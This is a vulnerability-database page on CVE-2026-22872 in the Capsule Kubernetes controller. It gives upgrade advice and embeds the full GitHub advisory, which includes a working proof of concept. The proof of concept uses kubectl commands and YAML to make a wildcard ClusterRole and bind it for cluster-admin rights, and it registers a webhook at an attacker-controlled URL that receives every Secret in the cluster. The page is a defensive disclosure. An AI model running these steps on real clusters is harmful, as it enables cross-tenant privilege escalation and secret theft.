CVE-2026-22872: Github.com/projectcapsule/capsule Remote Code Execution Vulnerability
MODERATECVE-2026-22872 is a MODERATE remote code execution vulnerability (CWE-20: Improper Input Validation) affecting Github.com/projectcapsule/capsule libraries in the Go ecosystem. The issue involves capsule tenantresource rawitems cluster-scoped resource creation vulnerability. Remediation is available by upgrading affected packages to version 0.13.0.
CVE-2026-22872 at a Glance
How to Fix CVE-2026-22872
To remediate this vulnerability, upgrade all affected Github.com/projectcapsule/capsule dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade github.com/projectcapsule/capsule to 0.13.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/projectcapsule/capsule
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-22872, inspect your project dependencies for Github.com/projectcapsule/capsule:
inspect dependencies for github.com/projectcapsule/capsule
Analyze the terminal output to locate any version of Github.com/projectcapsule/capsule in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.13.0), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-20: Improper Input Validation, where the product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly. In Github.com/projectcapsule/capsule, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-22872 Affected Github.com/projectcapsule/capsule Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/projectcapsule/capsule
|
Go |
< 0.13.0
|
0.13.0
|
References
Frequently Asked Questions
What is CVE-2026-22872?
Which Github.com/projectcapsule/capsule versions are affected?
What version fixes CVE-2026-22872?
Is github.com/projectcapsule/capsule affected?
What CWE is associated with CVE-2026-22872?
How can I check Go dependencies for CVE-2026-22872?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-qjjm-7j9w-pw72",
"modified" : "2026-06-09T10:50:44Z",
"published" : "2026-05-28T17:02:55Z",
"aliases" : [ "CVE-2026-22872" ],
"summary" : "Capsule TenantResource RawItems Cluster-Scoped Resource Creation Vulnerability",
"details" : "# TenantResource RawItems Cluster-Scoped Resource Creation Vulnerability\n\n\n## Summary\n\nThe Capsule Controller runs with cluster-admin privileges. Although the TenantResource RawItems processing logic forcibly sets the namespace, this is ineffective for cluster-scoped resources. Tenant administrators can leverage the Controller's elevated privileges to create cluster-scoped resources (such as ClusterRole and ValidatingWebhookConfiguration) that they cannot create directly, achieving cross-tenant privilege escalation and cluster-level attacks.\n\n---\n\n## Details\n\n### Vulnerability Location\n\nFile: `internal/controllers/resources/processor.go`\nFunction: `HandleSection()`\nLines: 247-285\n\n### Core Issues\n\n1. **Excessive Controller Privileges**: The Controller's ServiceAccount is bound to the cluster-admin ClusterRole\n ```yaml\n # ClusterRoleBinding: capsule-manager-rolebinding\n roleRef:\n kind: ClusterRole\n name: cluster-admin\n ```\n\n2. **Missing Resource Scope Validation**: Although the code calls `obj.SetNamespace(ns.Name)`, this is ineffective for cluster-scoped resources (ClusterRole, ValidatingWebhookConfiguration, etc.), as the Kubernetes API ignores this field\n\n3. **Missing Resource Type Validation**: No check for whether resources are cluster-scoped\n\n### Vulnerable Code Analysis\n\n```go\n// internal/controllers/resources/processor.go\nfor rawIndex, item := range spec.RawItems {\n template := string(item.Raw)\n\n t := fasttemplate.New(template, \"{{ \", \" }}\")\n tmplString := t.ExecuteString(map[string]interface{}{\n \"tenant.name\": tnt.Name,\n \"namespace\": ns.Name,\n })\n\n obj, keysAndValues := unstructured.Unstructured{}, []interface{}{\"index\", rawIndex}\n\n // Issue 1: Accepts any resource type, including cluster-scoped resources\n if _, _, decodeErr := codecFactory.UniversalDeserializer().Decode(\n []byte(tmplString), nil, &obj); decodeErr != nil {\n log.Error(decodeErr, \"unable to deserialize rawItem\", keysAndValues...)\n syncErr = errors.Join(syncErr, decodeErr)\n continue\n }\n\n // Issue 2: For cluster-scoped resources, this setting is ignored by API\n obj.SetNamespace(ns.Name)\n\n // Issue 3: Controller creates with cluster-admin privileges, no scope check\n if rawErr := r.createOrUpdate(ctx, &obj, objLabels, objAnnotations); rawErr != nil {\n log.Info(\"unable to sync rawItem\", keysAndValues...)\n syncErr = errors.Join(syncErr, rawErr)\n }\n}\n```\n\n### Attack Chain\n\n```\nTenant Owner (bob) - Has TenantResource creation permission\n ↓\nCreates TenantResource containing cluster-scoped resources\n ↓\nCapsule Controller (cluster-admin) processes RawItems\n ↓\nobj.SetNamespace() ignored by Kubernetes API (cluster-scoped resources have no namespace)\n ↓\nSuccessfully creates cluster-scoped resources (ClusterRole, ValidatingWebhook, etc.)\n ↓\nCross-tenant privilege escalation / Cluster-level attacks\n```\n\n---\n\n## PoC\n\n### Environment Setup\n\nTest Environment: Kubernetes 1.27+ cluster (verified using Kind cluster)\n\n#### Step 1: Verify Capsule Controller Privileges\n\n```bash\nkubectl get clusterrolebinding capsule-manager-rolebinding -o yaml\n```\n\nConfirm output contains:\n```yaml\nroleRef:\n kind: ClusterRole\n name: cluster-admin # Controller has full cluster management privileges\n```\n\n#### Step 2: Install Capsule and Create Test Tenant\n\nComplete Capsule installation and tenant creation following previous environment setup steps.\n\n#### Step 3: Verify bob's Permission Restrictions\n\n**Verify bob can create TenantResource:**\n```bash\nkubectl auth can-i create tenantresources --as bob --as-group projectcapsule.dev -n tenant-b-ns1\n```\n\nActual output:\n```\nyes\n```\n\n**Verify bob cannot create ClusterRole:**\n```bash\nkubectl auth can-i create clusterroles --as bob --as-group projectcapsule.dev\n```\n\nActual output:\n```\nWarning: resource 'clusterroles' is not namespace scoped in group 'rbac.authorization.k8s.io'\n\nno\n```\n\n**Verify bob cannot create ValidatingWebhook:**\n```bash\nkubectl auth can-i create validatingwebhookconfigurations --as bob --as-group projectcapsule.dev\n```\n\nActual output:\n```\nWarning: resource 'validatingwebhookconfigurations' is not namespace scoped in group 'admissionregistration.k8s.io'\n\nno\n```\n\n### Attack Vector 1: Creating Malicious ClusterRole\n\n#### Step 4: Create TenantResource Containing ClusterRole\n\nCreate file `attack-clusterrole.yaml`:\n\n```yaml\napiVersion: capsule.clastix.io/v1beta2\nkind: TenantResource\nmetadata:\n name: create-clusterrole\n namespace: tenant-b-ns1\nspec:\n resyncPeriod: 60s\n resources:\n - namespaceSelector:\n matchLabels:\n capsule.clastix.io/tenant: tenant-b\n rawItems:\n - apiVersion: rbac.authorization.k8s.io/v1\n kind: ClusterRole\n metadata:\n name: malicious-clusterrole\n rules:\n - apiGroups: [\"*\"]\n resources: [\"*\"]\n verbs: [\"*\"]\n```\n\nApply configuration **as bob user** (critical - must specify executor):\n\n```bash\nkubectl apply -f attack-clusterrole.yaml --as bob --as-group projectcapsule.dev\n```\n\nActual output:\n```\ntenantresource.capsule.clastix.io/create-clusterrole created\n```\n\n**Important**: The `--as bob --as-group projectcapsule.dev` parameters are crucial for proving that bob (not the cluster admin) is executing this attack.\n\n#### Step 5: Verify ClusterRole Creation\n\n```bash\nkubectl get clusterrole malicious-clusterrole\n```\n\nActual output:\n```\nNAME CREATED AT\nmalicious-clusterrole 2026-01-05T16:10:02Z\n```\n\nView details:\n\n```bash\nkubectl get clusterrole malicious-clusterrole -o yaml\n```\n\nKey output:\n```yaml\napiVersion: rbac.authorization.k8s.io/v1\nkind: ClusterRole\nmetadata:\n annotations:\n capsule.clastix.io/tenant: tenant-b\n name: malicious-clusterrole\nrules:\n- apiGroups: [\"*\"]\n resources: [\"*\"]\n verbs: [\"*\"]\n```\n\n**Verification Successful**: bob cannot directly create ClusterRole, but successfully created a cluster-scoped ClusterRole with all permissions through TenantResource.\n\n#### Step 6: Exploit ClusterRole for Cross-Tenant Attack\n\nNow bob can create a ClusterRoleBinding binding this ClusterRole to gain cluster-level privileges:\n\n```yaml\napiVersion: rbac.authorization.k8s.io/v1\nkind: ClusterRoleBinding\nmetadata:\n name: bob-cluster-admin\nsubjects:\n- kind: User\n name: bob\n apiGroup: rbac.authorization.k8s.io\nroleRef:\n kind: ClusterRole\n name: malicious-clusterrole\n apiGroup: rbac.authorization.k8s.io\n```\n\nAfter applying, bob will have full cluster management privileges and can access resources of all tenants.\n\n### Attack Vector 2: Creating Malicious ValidatingWebhook\n\n#### Step 7: Create TenantResource Containing Webhook\n\nCreate file `attack-webhook.yaml`:\n\n```yaml\napiVersion: capsule.clastix.io/v1beta2\nkind: TenantResource\nmetadata:\n name: create-webhook\n namespace: tenant-b-ns1\nspec:\n resyncPeriod: 60s\n resources:\n - namespaceSelector:\n matchLabels:\n capsule.clastix.io/tenant: tenant-b\n rawItems:\n - apiVersion: admissionregistration.k8s.io/v1\n kind: ValidatingWebhookConfiguration\n metadata:\n name: malicious-webhook\n webhooks:\n - name: malicious.webhook.com\n clientConfig:\n url: \"https://attacker-controlled-server.com/webhook\"\n rules:\n - operations: [\"CREATE\", \"UPDATE\"]\n apiGroups: [\"\"]\n apiVersions: [\"v1\"]\n resources: [\"secrets\"]\n admissionReviewVersions: [\"v1\"]\n sideEffects: None\n failurePolicy: Ignore\n```\n\nApply configuration **as bob user**:\n\n```bash\nkubectl apply -f attack-webhook.yaml --as bob --as-group projectcapsule.dev\n```\n\nActual output:\n```\ntenantresource.capsule.clastix.io/create-webhook created\n```\n\n#### Step 8: Verify Webhook Creation\n\n```bash\nkubectl get validatingwebhookconfiguration malicious-webhook\n```\n\nActual output:\n```\nNAME WEBHOOKS AGE\nmalicious-webhook 1 5s\n```\n\n**Verification Successful**: bob cannot directly create Webhook, but successfully created a cluster-scoped ValidatingWebhookConfiguration through TenantResource.\n\n#### Step 9: Exploit Webhook to Steal Sensitive Data\n\nAt this point, whenever any user in the cluster creates or updates a Secret, the Kubernetes API Server will call the attacker-controlled webhook server, sending an AdmissionReview request containing the complete Secret content. The attacker can:\n\n1. Steal Secret data from all tenants (database passwords, API keys, etc.)\n2. Modify Secret contents\n3. Deny legitimate Secret creation requests, achieving DoS attacks\n\n---\n\n## Impact\n\n### Affected Scope\n\nThis vulnerability affects all Capsule deployments with the following prerequisites:\n1. Capsule Controller runs with cluster-admin privileges (default configuration)\n2. Tenant Owner has permission to create TenantResource\n\n### Security Impact\n\n1. **Cross-Tenant Privilege Escalation**\n - Create ClusterRole to gain cluster-level privileges\n - Break tenant isolation boundaries\n - Access all resources of other tenants\n\n2. **Large-Scale Sensitive Data Theft**\n - Intercept all Secret creation/update requests through malicious Webhook\n - Steal passwords, API keys, certificates, etc. across the entire cluster\n - Real-time monitoring of all tenant sensitive operations\n\n3. **Cluster-Level Denial of Service**\n - Deny all API requests through Webhook\n - Make the entire cluster unavailable\n - Impact all tenants\n\n4. **Cluster Pollution**\n - Create malicious CRDs\n - Modify StorageClass\n - Impact cluster stability\n\n5. **Persistent Backdoor**\n - Created cluster-scoped resources persist\n - Even if TenantResource is deleted, ClusterRole and other resources remain\n - Difficult to detect and remove\n\n\n### Limiting Factors\n\n1. Requires Tenant Owner privileges\n2. Requires Capsule Controller running with cluster-admin privileges (default configuration)\n3. Some clusters may have additional admission controllers blocking malicious resources",
"severity" : [ {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/projectcapsule/capsule"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "0.13.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/projectcapsule/capsule/security/advisories/GHSA-qjjm-7j9w-pw72"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-22872"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/projectcapsule/capsule"
}, {
"type" : "WEB",
"url" : "https://github.com/projectcapsule/capsule/releases/tag/v0.13.0"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-20", "CWE-863" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-05-28T17:02:55Z",
"nvd_published_at" : "2026-06-01T19:16:21Z"
}
}